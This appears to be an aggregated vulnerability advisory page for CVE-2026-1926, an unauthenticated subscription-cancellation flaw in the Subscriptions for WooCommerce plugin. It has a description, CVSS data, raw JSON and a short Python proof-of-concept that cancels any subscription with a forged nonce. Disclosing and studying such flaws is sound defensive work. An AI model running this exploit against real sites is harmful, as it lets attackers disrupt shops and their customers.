Security Vulnerability Report
中文
CVE-2026-1926 CVSS 5.3 MEDIUM

CVE-2026-1926

Published: 2026-03-18 04:17:15
Last Modified: 2026-04-22 21:32:08

Description

The Subscriptions for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wps_sfw_admin_cancel_susbcription()` function in all versions up to, and including, 1.9.2. This is due to the function being hooked to the `init` action without any authentication or authorization checks, and only performing a non-empty check on the nonce parameter without actually validating it via `wp_verify_nonce()`. This makes it possible for unauthenticated attackers to cancel any active WooCommerce subscription by sending a crafted GET request with an arbitrary nonce value via the `wps_subscription_id` parameter.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Subscriptions for WooCommerce <= 1.9.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-1926 PoC # Subscriptions for WooCommerce < 1.9.2 - Unauthorized Subscription Cancellation target_url = "http://target-wordpress-site.com/" # Find active subscription IDs through enumeration or information disclosure subscription_id = "123" # Replace with target subscription ID # Construct the malicious request with arbitrary nonce value params = { "wps_subscription_id": subscription_id, "wps_nonce": "arbitrary_string", # Nonce validation is bypassed "wps_subscription_cancel": "" } # Send GET request (no authentication required) response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") # Note: Subscription will be cancelled without any authorization check # The attacker only needs a valid subscription ID to cancel any subscription

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1926", "sourceIdentifier": "[email protected]", "published": "2026-03-18T04:17:14.887", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Subscriptions for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wps_sfw_admin_cancel_susbcription()` function in all versions up to, and including, 1.9.2. This is due to the function being hooked to the `init` action without any authentication or authorization checks, and only performing a non-empty check on the nonce parameter without actually validating it via `wp_verify_nonce()`. This makes it possible for unauthenticated attackers to cancel any active WooCommerce subscription by sending a crafted GET request with an arbitrary nonce value via the `wps_subscription_id` parameter."}, {"lang": "es", "value": "El plugin Subscriptions for WooCommerce para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la función `wps_sfw_admin_cancel_susbcription()` en todas las versiones hasta la 1.9.2, inclusive. Esto se debe a que la función está enganchada a la acción `init` sin ninguna verificación de autenticación o autorización, y solo realiza una verificación de no-vacío en el parámetro nonce sin validarlo realmente a través de `wp_verify_nonce()`. Esto hace posible que atacantes no autenticados cancelen cualquier suscripción activa de WooCommerce enviando una solicitud GET manipulada con un valor nonce arbitrario a través del parámetro `wps_subscription_id`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/subscriptions-for-woocommerce/tags/1.9.0/admin/class-subscriptions-for-woocommerce-admin.php#L831", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/subscriptions-for-woocommerce/tags/1.9.0/includes/class-subscriptions-for-woocommerce.php#L248", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/subscriptions-for-woocommerce/trunk/admin/class-subscriptions-for-woocommerce-admin.php#L831", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/subscriptions-for-woocommerce/trunk/includes/class-subscriptions-for-woocommerce.php#L248", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3470887%40subscriptions-for-woocommerce%2Ftrunk&old=3449291%40subscriptions-for-woocommerce%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eabfdf29-eca9-4e4b-b809-23a83f5a91ac?source=cve", "source": "[email protected]"}]}}